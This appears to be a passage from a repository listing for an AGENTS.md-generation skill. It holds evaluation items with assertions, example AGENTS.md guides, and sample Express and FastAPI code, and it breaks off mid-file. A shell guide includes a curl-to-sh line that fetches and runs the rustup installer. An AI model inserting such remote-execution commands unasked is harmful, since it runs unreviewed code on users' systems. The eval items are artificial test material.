AGENTS.md for this project. Extract GitHub repository rulesets and merge rules to document branch protection and required checks.", "expected_output": "AGENTS.md includes repository settings section with merge strategy, branch protection rules, and required status checks.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Contains repository settings or merge rules section", "Documents merge strategy (squash/merge/rebase)", "Documents required checks if available", "Information matches actual GitHub settings", "Does not fabricate branch protection rules" ] }, { "id": 26, "eval_name": "detect-hooks-existing-framework", "prompt": "I'm about to start working on /home/cybot/projects/ofelia/main/ — what git hooks does this project use and are they set up?", "expected_output": "Should detect lefthook.yml and explain how to install (make setup or lefthook install)", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Names lefthook as the framework in use, from lefthook.yml rather than from a guess", "States how to install the hooks (lefthook install, or the make target that wraps it)", "Does not claim hooks are active merely because a config file exists — installation is a separate step" ] }, { "id": 27, "eval_name": "detect-hooks-none-configured", "prompt": "I'm starting work on /home/cybot/projects/assetpicker/main/ — are git hooks configured?", "expected_output": "Should detect NO hook framework and suggest adding one", "files": [], "project_path": "/home/cybot/projects/assetpicker/main", "assertions": [ "Reports that no hook framework is configured, having looked for the candidates rather than assuming", "Proposes one, naming it", "Does not invent a hook setup the repository does not have" ] }, { "id": 28, "eval_name": "scaffold-includes-agents-md", "prompt": "Scaffold a brand-new extension repository: composer.json, CI workflow, test runner. What belongs in the initial commits?", "expected_output": "AGENTS.md (plus CLAUDE.md/GEMINI.md symlinks), generated via detect -> extract -> generate -> verify, belongs in the initial scaffold commits, not deferred - the scaffolding session holds every fact, while retrofitting later requires a full re-verification pass against a codebase no longer in anyone's context.", "files": [], "project_path": "", "assertions": [ "Puts AGENTS.md in the INITIAL scaffold commits rather than deferring it to later", "Mentions the CLAUDE.md / GEMINI.md symlinks alongside it", "Gives the reason: the scaffolding session holds every fact, while retrofitting requires re-verifying against a codebase nobody has in context any more" ] } ] }
-
-
references
-
examples
-
coding-agent-cli
-
AGENTS.md 2.5 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: go.mod — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | go build -v ./... | ~15s | | Format | gofmt -w . | ~5s | | Test (single) | go test -v -race | ~2s | | Test (all) | go test -v -race -short ./... | ~30s | | Build | go build -v ./... | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding package | Internal → `internal/`, Public → `pkg/` | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Follow Go 1.25 conventions and idioms ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit go.sum without go.mod changes ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For Go-specific patterns, defer to language idioms and standard library conventions -
go.mod 45 B · in bundle
-
scripts-AGENTS.md 10.1 KB
<!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-09 --> # Installation Scripts - Agent Guide **Scope:** Shell scripts for tool installation, update, uninstall, reconcile ## Overview 13+ Bash scripts for installing developer tools with multiple actions: - **install**: Fresh installation (default action) - **update**: Upgrade to latest version - **uninstall**: Remove installation - **reconcile**: Switch to preferred installation method (e.g., system → user) **Key scripts:** - `install_core.sh`: Core tools (fd, fzf, ripgrep, jq, yq, bat, delta, just) - `install_python.sh`: Python toolchain via uv - `install_node.sh`: Node.js via nvm - `install_rust.sh`: Rust via rustup - `install_go.sh`, `install_aws.sh`, `install_kubectl.sh`, etc. - `guide.sh`: Interactive upgrade guide - `test_smoke.sh`: Smoke test for audit output **Shared utilities:** `lib/` directory (colors, logging, common functions) ## Setup **Requirements:** - Bash 4.0+ - `curl` or `wget` for downloads - Internet access for fresh installs - Appropriate permissions (user for `~/.local/bin`, sudo for system) **Environment variables:** ```bash INSTALL_PREFIX=${INSTALL_PREFIX:-~/.local} # Default: user-level FORCE_INSTALL=1 # Skip confirmation prompts DEBUG=1 # Verbose output ``` **Permissions:** ```bash make scripts-perms # Ensure all scripts are executable ``` ## Build & Tests **Run individual script:** ```bash # Install action (default) ./scripts/install_python.sh # Update action ./scripts/install_python.sh update # Uninstall action ./scripts/install_python.sh uninstall # Reconcile action (switch installation method) ./scripts/install_node.sh reconcile ``` **Via Make:** ```bash make install-python # Install Python toolchain make update-python # Update Python toolchain make uninstall-python # Uninstall Python toolchain make reconcile-node # Switch Node.js to nvm-managed ``` **Smoke test:** ```bash ./scripts/test_smoke.sh # Verify audit output format ``` **Debug mode:** ```bash DEBUG=1 ./scripts/install_python.sh bash -x ./scripts/install_python.sh # Trace execution ``` ## Code Style **Shell standards:** - Bash 4.0+ features allowed - Shebang: `#!/usr/bin/env bash` or `#!/bin/bash` - Set strict mode: `set -euo pipefail` - `-e`: Exit on error - `-u`: Error on undefined variables - `-o pipefail`: Fail on pipe errors **Formatting:** - 4-space indentation (matches EditorConfig) - Function names: lowercase_with_underscores - Constants: UPPER_CASE - Local variables: lowercase **Structure:** ```bash #!/usr/bin/env bash set -euo pipefail # Source shared utilities SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" source "${SCRIPT_DIR}/lib/colors.sh" || true source "${SCRIPT_DIR}/lib/common.sh" || true # Main function per action install_tool() { echo_info "Installing <tool>..." # Implementation } update_tool() { echo_info "Updating <tool>..." # Implementation } uninstall_tool() { echo_info "Uninstalling <tool>..." # Implementation } reconcile_tool() { echo_info "Reconciling <tool>..." # Implementation } # Action dispatcher ACTION="${1:-install}" case "$ACTION" in install) install_tool ;; update) update_tool ;; uninstall) uninstall_tool ;; reconcile) reconcile_tool ;; *) echo "Usage: $0 {install|update|uninstall|reconcile}"; exit 1 ;; esac ``` **Error handling:** ```bash # Good: Check command exists before using if ! command -v curl >/dev/null 2>&1; then echo_error "curl not found. Install it first." exit 1 fi # Good: Check return codes if ! download_file "$URL" "$DEST"; then echo_error "Download failed" exit 1 fi # Good: Cleanup on error trap 'rm -rf "$TMPDIR"' EXIT ERR ``` **Confirmation prompts:** ```bash # Good: Skip prompt if FORCE_INSTALL=1 if [[ "${FORCE_INSTALL:-0}" != "1" ]]; then read -p "Install <tool>? [y/N] " -n 1 -r echo [[ ! $REPLY =~ ^[Yy]$ ]] && exit 0 fi ``` ## Security **Download verification:** ```bash # Always use HTTPS URL="https://github.com/owner/repo/releases/download/..." # Verify checksums when available EXPECTED_SHA256="abc123..." ACTUAL_SHA256=$(sha256sum "$FILE" | awk '{print $1}') if [[ "$ACTUAL_SHA256" != "$EXPECTED_SHA256" ]]; then echo_error "Checksum mismatch!" exit 1 fi ``` **Path safety:** ```bash # Good: Quote variables, use absolute paths INSTALL_DIR="${HOME}/.local/bin" mkdir -p "$INSTALL_DIR" mv "$TMPFILE" "$INSTALL_DIR/tool" # Bad: Unquoted, relative paths mkdir -p $INSTALL_DIR mv tool bin/ ``` **Sudo usage:** ```bash # Good: Prompt for sudo only when needed if [[ "$INSTALL_PREFIX" == "/usr/local" ]]; then if ! sudo -v; then echo_error "Sudo required for system installation" exit 1 fi sudo mv "$FILE" "$INSTALL_PREFIX/bin/" else # User-level, no sudo mv "$FILE" "$INSTALL_PREFIX/bin/" fi ``` **No secrets in scripts:** - No API keys, tokens, passwords in scripts - Use environment variables: `${GITHUB_TOKEN:-}` - Document required env vars in script comments ## PR/Commit Checklist **Before commit:** - [ ] Run `shellcheck <script>` (if available) - [ ] Test install action: `./scripts/install_<tool>.sh` - [ ] Test update action: `./scripts/install_<tool>.sh update` - [ ] Test uninstall action: `./scripts/install_<tool>.sh uninstall` - [ ] Update `scripts/README.md` if new script or behavior change - [ ] Verify script permissions: `make scripts-perms` **Script checklist:** - [ ] Shebang: `#!/usr/bin/env bash` - [ ] Strict mode: `set -euo pipefail` - [ ] Source shared lib: `source "${SCRIPT_DIR}/lib/colors.sh"` - [ ] Action dispatcher (install/update/uninstall/reconcile) - [ ] Error handling (check return codes, trap on exit) - [ ] Confirmation prompts (respect FORCE_INSTALL) - [ ] PATH updates (add to ~/.bashrc or ~/.zshrc if needed) **Commit messages:** - `feat(scripts): add install_terraform.sh` - `fix(install-python): handle uv bootstrap failure` - `docs(scripts): update README with reconcile action` ## Good vs Bad Examples **Good: Robust download with fallback** ```bash download_file() { local url="$1" local dest="$2" if command -v curl >/dev/null 2>&1; then curl -fsSL "$url" -o "$dest" elif command -v wget >/dev/null 2>&1; then wget -q "$url" -O "$dest" else echo_error "Neither curl nor wget found" return 1 fi } ``` **Bad: Assumes curl exists** ```bash download_file() { curl -fsSL "$1" -o "$2" # Fails if curl not installed } ``` **Good: Version comparison** ```bash version_gt() { test "$(printf '%s\n' "$@" | sort -V | head -n 1)" != "$1" } CURRENT_VERSION="1.2.3" LATEST_VERSION="1.3.0" if version_gt "$LATEST_VERSION" "$CURRENT_VERSION"; then echo "Upgrade available" fi ``` **Bad: String comparison for versions** ```bash if [[ "$LATEST_VERSION" > "$CURRENT_VERSION" ]]; then # Wrong: "1.10.0" < "1.9.0" (string comparison) echo "Upgrade available" fi ``` **Good: Cleanup on exit** ```bash TMPDIR=$(mktemp -d) trap 'rm -rf "$TMPDIR"' EXIT ERR # Download to temp download_file "$URL" "$TMPDIR/file" # ... process ... # Cleanup happens automatically via trap ``` **Bad: Manual cleanup (error-prone)** ```bash TMPDIR=$(mktemp -d) download_file "$URL" "$TMPDIR/file" # ... process ... rm -rf "$TMPDIR" # Skipped if earlier command fails ``` **Good: Action-specific logic** ```bash install_rust() { if command -v rustup >/dev/null 2>&1; then echo_warn "rustup already installed" return 0 fi curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y source "$HOME/.cargo/env" } update_rust() { if ! command -v rustup >/dev/null 2>&1; then echo_error "rustup not installed. Run install first." return 1 fi rustup update } ``` ## When Stuck **Script fails silently:** 1. Add debug: `bash -x ./scripts/install_<tool>.sh` 2. Check logs: `./scripts/install_<tool>.sh 2>&1 | tee install.log` 3. Verify permissions: `ls -la scripts/` **Download fails:** 1. Check network: `curl -I https://github.com` 2. Check URL: `echo "$URL"` (verify it's correct) 3. Try manual download: `curl -fsSL "$URL"` **Installation fails:** 1. Check prerequisites (e.g., Python for uv, curl for rustup) 2. Check disk space: `df -h` 3. Check permissions: `ls -ld "$INSTALL_PREFIX"` **PATH not updated:** 1. Source shell config: `source ~/.bashrc` or `source ~/.zshrc` 2. Check PATH: `echo $PATH | tr ':' '\n' | grep local` 3. Verify binary location: `ls -la ~/.local/bin/<tool>` **Reconcile fails:** 1. Check current installation: `which <tool>` 2. Check installation method: `cli_audit.py --only <tool>` 3. Manually remove old version first: `apt remove <tool>` or `cargo uninstall <tool>` **Documentation:** - Script-specific docs: [README.md](README.md) (this directory) - Troubleshooting: [../docs/TROUBLESHOOTING.md](../docs/TROUBLESHOOTING.md) - Architecture: [../docs/DEPLOYMENT.md](../docs/DEPLOYMENT.md#installation-scripts) ## House Rules **Installation preferences** (Phase 2 planning): - User-level preferred: `~/.local/bin` (workstations) - System-level for servers: `/usr/local/bin` - Vendor tools first: rustup, nvm, uv over system packages - See [../docs/adr/ADR-002-package-manager-hierarchy.md](../docs/adr/ADR-002-package-manager-hierarchy.md) **Reconciliation strategy:** - Parallel approach: Keep both installations, prefer user via PATH - No automatic removal (user chooses) - See [../docs/adr/ADR-003-parallel-installation-approach.md](../docs/adr/ADR-003-parallel-installation-approach.md) **Version policy:** - Always latest by default - Warn on major version upgrades - See [../docs/adr/ADR-004-always-latest-version-policy.md](../docs/adr/ADR-004-always-latest-version-policy.md) **Script structure:** - Multi-action support: install, update, uninstall, reconcile - Shared utilities in `lib/` - Consistent error handling and logging - Make integration via `make install-<tool>` --- **Quick Start:** Run `make install-core` to install essential tools, then `make audit` to verify. **Troubleshooting:** See [README.md](README.md) for per-script troubleshooting and [../docs/TROUBLESHOOTING.md](../docs/TROUBLESHOOTING.md) for general issues.
-
-
express-api-ts
-
src
-
controllers
-
userController.ts 2.1 KB
import type { Request, Response, NextFunction } from 'express'; import { z } from 'zod'; import { AppError } from '../utils/errors.js'; const createUserSchema = z.object({ email: z.string().email(), name: z.string().min(1).max(100), }); const updateUserSchema = createUserSchema.partial(); // In-memory store for demo purposes const users = new Map<string, { id: string; email: string; name: string }>(); export class UserController { getAll = async (_req: Request, res: Response): Promise<void> => { const allUsers = Array.from(users.values()); res.json({ data: allUsers }); }; getById = async (req: Request, res: Response, next: NextFunction): Promise<void> => { const user = users.get(req.params.id ?? ''); if (!user) { next(new AppError('User not found', 404)); return; } res.json({ data: user }); }; create = async (req: Request, res: Response, next: NextFunction): Promise<void> => { const parsed = createUserSchema.safeParse(req.body); if (!parsed.success) { next(new AppError('Validation failed', 400, parsed.error.flatten())); return; } const id = crypto.randomUUID(); const user = { id, ...parsed.data }; users.set(id, user); res.status(201).json({ data: user }); }; update = async (req: Request, res: Response, next: NextFunction): Promise<void> => { const id = req.params.id ?? ''; const existing = users.get(id); if (!existing) { next(new AppError('User not found', 404)); return; } const parsed = updateUserSchema.safeParse(req.body); if (!parsed.success) { next(new AppError('Validation failed', 400, parsed.error.flatten())); return; } const updated = { ...existing, ...parsed.data }; users.set(id, updated); res.json({ data: updated }); }; delete = async (req: Request, res: Response, next: NextFunction): Promise<void> => { const id = req.params.id ?? ''; if (!users.has(id)) { next(new AppError('User not found', 404)); return; } users.delete(id); res.status(204).send(); }; }
-
-
middleware
-
errorHandler.ts 1 KB
import type { Request, Response, NextFunction } from 'express'; import { AppError } from '../utils/errors.js'; import { logger } from '../utils/logger.js'; import { config } from '../config.js'; interface ErrorResponse { error: { message: string; code?: string; details?: unknown; stack?: string; }; } export function errorHandler( err: Error, _req: Request, res: Response<ErrorResponse>, _next: NextFunction ): void { logger.error('Request error', { error: err.message, stack: err.stack }); if (err instanceof AppError) { res.status(err.statusCode).json({ error: { message: err.message, code: err.code, details: err.details, }, }); return; } // Unknown error - don't leak internals in production const message = config.isProd ? 'Internal server error' : err.message; const response: ErrorResponse = { error: { message }, }; if (!config.isProd) { response.error.stack = err.stack; } res.status(500).json(response); } -
requestLogger.ts 471 B
import type { Request, Response, NextFunction } from 'express'; import { logger } from '../utils/logger.js'; export function requestLogger(req: Request, res: Response, next: NextFunction): void { const start = Date.now(); res.on('finish', () => { const duration = Date.now() - start; logger.info('Request completed', { method: req.method, path: req.path, status: res.statusCode, duration: `${duration}ms`, }); }); next(); }
-
-
routes
-
health.ts 428 B
import { Router, type Request, type Response } from 'express'; const router = Router(); router.get('/', (_req: Request, res: Response) => { res.json({ status: 'healthy', timestamp: new Date().toISOString(), uptime: process.uptime(), }); }); router.get('/ready', (_req: Request, res: Response) => { // Add database connectivity check here res.json({ ready: true }); }); export { router as healthRoutes }; -
users.ts 397 B
import { Router } from 'express'; import { UserController } from '../controllers/userController.js'; const router = Router(); const controller = new UserController(); router.get('/', controller.getAll); router.get('/:id', controller.getById); router.post('/', controller.create); router.put('/:id', controller.update); router.delete('/:id', controller.delete); export { router as userRoutes };
-
-
utils
-
errors.ts 1.2 KB
export class AppError extends Error { public readonly statusCode: number; public readonly code?: string; public readonly details?: unknown; constructor(message: string, statusCode: number = 500, details?: unknown, code?: string) { super(message); this.name = 'AppError'; this.statusCode = statusCode; this.code = code; this.details = details; // Maintain proper stack trace Error.captureStackTrace(this, this.constructor); } static badRequest(message: string, details?: unknown): AppError { return new AppError(message, 400, details, 'BAD_REQUEST'); } static unauthorized(message = 'Unauthorized'): AppError { return new AppError(message, 401, undefined, 'UNAUTHORIZED'); } static forbidden(message = 'Forbidden'): AppError { return new AppError(message, 403, undefined, 'FORBIDDEN'); } static notFound(resource = 'Resource'): AppError { return new AppError(`${resource} not found`, 404, undefined, 'NOT_FOUND'); } static conflict(message: string): AppError { return new AppError(message, 409, undefined, 'CONFLICT'); } static internal(message = 'Internal server error'): AppError { return new AppError(message, 500, undefined, 'INTERNAL_ERROR'); } } -
logger.ts 441 B
import winston from 'winston'; import { config } from '../config.js'; export const logger = winston.createLogger({ level: config.logLevel, format: winston.format.combine( winston.format.timestamp(), winston.format.errors({ stack: true }), config.isDev ? winston.format.combine(winston.format.colorize(), winston.format.simple()) : winston.format.json() ), transports: [new winston.transports.Console()], });
-
-
AGENTS.md 3.1 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 --> # AGENTS.md — src <!-- AGENTS-GENERATED:START overview --> ## Overview Backend services (TypeScript/Node.js) <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files | File | Purpose | |------|---------| | `src/config.ts` | (add description) | | `src/routes/health.ts` | Add database connectivity check here | | `src/routes/users.ts` | (add description) | | `src/index.ts` | Middleware | | `src/utils/logger.ts` | (add description) | <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) | Pattern | Reference | |---------|-----------| | Standard implementation | `src/controllers/userController.ts` | <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Install: `pnpm install` - Node version: >=20.0.0 - Package manager: pnpm - Environment variables: See .env or .env.example <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests - Typecheck (project-wide): `pnpm typecheck` - Format: `pnpm format` - Lint: `pnpm lint` - Test: `pnpm test` - Build: `pnpm build` - Dev server: `pnpm dev` <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Use TypeScript strict mode (`strict: true` in tsconfig) - No `any` without explicit justification comment - Prefer `interface` over `type` for object shapes - Naming: `camelCase` for functions/vars, `PascalCase` for classes/types - Async/await over raw Promises - Prefer `const` over `let`, never use `var` - Destructure objects and arrays when appropriate <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Validate all user inputs (use zod or similar) - Parameterized queries only (no string concatenation) - Never use dynamic code execution with user data - Sensitive data: never log or expose in errors - Environment: use dotenv, never hardcode secrets - CORS: configure explicitly, no wildcard in production - Rate limiting: implement for public endpoints <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Tests pass: `pnpm test` - [ ] Type check clean: `pnpm typecheck` - [ ] Lint clean: `pnpm lint` - [ ] Formatted: `pnpm format` - [ ] No `any` types without justification - [ ] API endpoints have validation - [ ] Error responses don't leak internals <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check Node.js docs: https://nodejs.org/docs - TypeScript handbook: https://www.typescriptlang.org/docs - Review existing patterns in this codebase - Check root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> -
config.ts 917 B
import { z } from 'zod'; const envSchema = z.object({ PORT: z.coerce.number().default(3000), NODE_ENV: z.enum(['development', 'production', 'test']).default('development'), DATABASE_URL: z.string().url().optional(), LOG_LEVEL: z.enum(['debug', 'info', 'warn', 'error']).default('info'), JWT_SECRET: z.string().min(32).optional(), CORS_ORIGIN: z.string().url().optional(), }); const parsed = envSchema.safeParse(process.env); if (!parsed.success) { console.error('Invalid environment variables:', parsed.error.flatten().fieldErrors); process.exit(1); } export const config = { port: parsed.data.PORT, nodeEnv: parsed.data.NODE_ENV, databaseUrl: parsed.data.DATABASE_URL, logLevel: parsed.data.LOG_LEVEL, jwtSecret: parsed.data.JWT_SECRET, corsOrigin: parsed.data.CORS_ORIGIN, isDev: parsed.data.NODE_ENV === 'development', isProd: parsed.data.NODE_ENV === 'production', } as const; -
index.ts 671 B
import express from 'express'; import { config } from './config.js'; import { logger } from './utils/logger.js'; import { errorHandler } from './middleware/errorHandler.js'; import { requestLogger } from './middleware/requestLogger.js'; import { userRoutes } from './routes/users.js'; import { healthRoutes } from './routes/health.js'; const app = express(); // Middleware app.use(express.json()); app.use(requestLogger); // Routes app.use('/api/users', userRoutes); app.use('/health', healthRoutes); // Error handling (must be last) app.use(errorHandler); app.listen(config.port, () => { logger.info(`Server running on port ${config.port}`); }); export { app };
-
-
.env.example 232 B · in bundle
-
AGENTS.md 3.1 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: 2026-02-05 | Last verified: never --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands (unverified) > Source: package.json — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | pnpm typecheck | ~15s | | Lint | pnpm lint | ~10s | | Format | pnpm format | ~5s | | Test (single) | pnpm dlx vitest run | ~2s | | Test (all) | pnpm test | ~30s | | Build | pnpm build | ~30s | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code ## File Map <!-- AGENTS-GENERATED:START filemap --> ``` src/ → application source code ``` <!-- AGENTS-GENERATED:END filemap --> ## Golden Samples (follow these patterns) <!-- AGENTS-GENERATED:START golden-samples --> | For | Reference | Key patterns | |-----|-----------|--------------| | Entrypoint | `src/index.ts` | standard patterns | <!-- AGENTS-GENERATED:END golden-samples --> ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| | Adding env var | Add to `.env.example` first | | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) | | Merging PRs | Squash and merge | | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> - **Default branch:** `main` - **Merge strategy:** squash, merge, rebase <!-- AGENTS-GENERATED:END repo-settings --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Use TypeScript strict mode with proper type annotations ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch - Delete migration files or schema changes - Commit package-lock.json without package.json changes - Use any type without justification ## Index of scoped AGENTS.md <!-- AGENTS-GENERATED:START scope-index --> - `./src/AGENTS.md` — Backend services (TypeScript/Node.js) <!-- AGENTS-GENERATED:END scope-index --> ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. - For TypeScript/JavaScript patterns, follow project eslint/prettier config -
package.json 758 B
{ "name": "express-api-ts", "version": "1.0.0", "description": "Express.js REST API with TypeScript", "main": "dist/index.js", "scripts": { "dev": "tsx watch src/index.ts", "build": "tsc", "start": "node dist/index.js", "test": "vitest run", "test:watch": "vitest", "lint": "eslint src/", "format": "prettier --write src/", "typecheck": "tsc --noEmit" }, "dependencies": { "express": "^4.21.0", "zod": "^3.23.0", "winston": "^3.14.0" }, "devDependencies": { "@types/express": "^4.17.21", "@types/node": "^22.0.0", "eslint": "^9.12.0", "prettier": "^3.3.0", "tsx": "^4.19.0", "typescript": "^5.6.0", "vitest": "^4.1.11" }, "engines": { "node": ">=20.0.0" } } -
pnpm-lock.yaml 101 B
# pnpm lockfile placeholder # This file indicates pnpm is the package manager lockfileVersion: '9.0' -
tsconfig.json 630 B
{ "compilerOptions": { "target": "ES2022", "module": "NodeNext", "moduleResolution": "NodeNext", "lib": ["ES2022"], "outDir": "./dist", "rootDir": "./src", "strict": true, "esModuleInterop": true, "skipLibCheck": true, "forceConsistentCasingInFileNames": true, "resolveJsonModule": true, "declaration": true, "declarationMap": true, "sourceMap": true, "noUncheckedIndexedAccess": true, "noImplicitReturns": true, "noFallthroughCasesInSwitch": true, "exactOptionalPropertyTypes": true }, "include": ["src/**/*"], "exclude": ["node_modules", "dist"] }
-
-
fastapi-app
-
src
-
models
-
item.py 1 KB
"""Item model schemas.""" from datetime import datetime from decimal import Decimal from pydantic import BaseModel, Field class ItemBase(BaseModel): """Base item schema with common fields.""" name: str = Field(..., min_length=1, max_length=200) description: str | None = None price: Decimal = Field(..., ge=0, decimal_places=2) quantity: int = Field(default=0, ge=0) is_available: bool = True class ItemCreate(ItemBase): """Schema for creating a new item.""" owner_id: int class ItemUpdate(BaseModel): """Schema for updating an existing item.""" name: str | None = Field(None, min_length=1, max_length=200) description: str | None = None price: Decimal | None = Field(None, ge=0, decimal_places=2) quantity: int | None = Field(None, ge=0) is_available: bool | None = None class Item(ItemBase): """Item response schema.""" id: int owner_id: int created_at: datetime updated_at: datetime | None = None model_config = {"from_attributes": True} -
user.py 922 B
"""User model schemas.""" from datetime import datetime from pydantic import BaseModel, EmailStr, Field class UserBase(BaseModel): """Base user schema with common fields.""" email: EmailStr username: str = Field(..., min_length=3, max_length=50) full_name: str | None = None is_active: bool = True class UserCreate(UserBase): """Schema for creating a new user.""" password: str = Field(..., min_length=8) class UserUpdate(BaseModel): """Schema for updating an existing user.""" email: EmailStr | None = None username: str | None = Field(None, min_length=3, max_length=50) full_name: str | None = None is_active: bool | None = None password: str | None = Field(None, min_length=8) class User(UserBase): """User response schema.""" id: int created_at: datetime updated_at: datetime | None = None model_config = {"from_attributes": True} -
__init__.py 278 B
"""Pydantic models for request/response schemas.""" from src.models.item import Item, ItemCreate, ItemUpdate from src.models.user import User, UserCreate, UserUpdate __all__ = [ "Item", "ItemCreate", "ItemUpdate", "User", "UserCreate", "UserUpdate", ]
-
-
routes
-
health.py 470 B
"""Health check endpoints.""" from fastapi import APIRouter from src.config import settings router = APIRouter() @router.get("/health") async def health_check() -> dict[str, str]: """Basic health check endpoint.""" return {"status": "healthy", "app": settings.app_name} @router.get("/ready") async def readiness_check() -> dict[str, str]: """Readiness check endpoint.""" # Could add database connectivity check here return {"status": "ready"} -
items.py 1.9 KB
"""Item management endpoints.""" from fastapi import APIRouter, HTTPException, Query, status from src.models.item import Item, ItemCreate, ItemUpdate from src.services.item_service import ItemService router = APIRouter() item_service = ItemService() @router.get("/", response_model=list[Item]) async def list_items( skip: int = Query(0, ge=0), limit: int = Query(100, ge=1, le=1000), search: str | None = None, ) -> list[Item]: """List all items with pagination and optional search.""" if search: return item_service.search(search, skip=skip, limit=limit) return item_service.get_all(skip=skip, limit=limit) @router.get("/{item_id}", response_model=Item) async def get_item(item_id: int) -> Item: """Get a specific item by ID.""" item = item_service.get_by_id(item_id) if not item: raise HTTPException( status_code=status.HTTP_404_NOT_FOUND, detail=f"Item with id {item_id} not found", ) return item @router.post("/", response_model=Item, status_code=status.HTTP_201_CREATED) async def create_item(item_data: ItemCreate) -> Item: """Create a new item.""" return item_service.create(item_data) @router.put("/{item_id}", response_model=Item) async def update_item(item_id: int, item_data: ItemUpdate) -> Item: """Update an existing item.""" item = item_service.update(item_id, item_data) if not item: raise HTTPException( status_code=status.HTTP_404_NOT_FOUND, detail=f"Item with id {item_id} not found", ) return item @router.delete("/{item_id}", status_code=status.HTTP_204_NO_CONTENT) async def delete_item(item_id: int) -> None: """Delete an item.""" if not item_service.delete(item_id): raise HTTPException( status_code=status.HTTP_404_NOT_FOUND, detail=f"Item with id {item_id} not found", ) -
users.py 1.7 KB
"""User management endpoints.""" from fastapi import APIRouter, HTTPException, status from src.models.user import User, UserCreate, UserUpdate from src.services.user_service import UserService router = APIRouter() user_service = UserService() @router.get("/", response_model=list[User]) async def list_users(skip: int = 0, limit: int = 100) -> list[User]: """List all users with pagination.""" return user_service.get_all(skip=skip, limit=limit) @router.get("/{user_id}", response_model=User) async def get_user(user_id: int) -> User: """Get a specific user by ID.""" user = user_service.get_by_id(user_id) if not user: raise HTTPException( status_code=status.HTTP_404_NOT_FOUND, detail=f"User with id {user_id} not found", ) return user @router.post("/", response_model=User, status_code=status.HTTP_201_CREATED) async def create_user(user_data: UserCreate) -> User: """Create a new user.""" return user_service.create(user_data) @router.put("/{user_id}", response_model=User) async def update_user(user_id: int, user_data: UserUpdate) -> User: """Update an existing user.""" user = user_service.update(user_id, user_data) if not user: raise HTTPException( status_code=status.HTTP_404_NOT_FOUND, detail=f"User with id {user_id} not found", ) return user @router.delete("/{user_id}", status_code=status.HTTP_204_NO_CONTENT) async def delete_user(user_id: int) -> 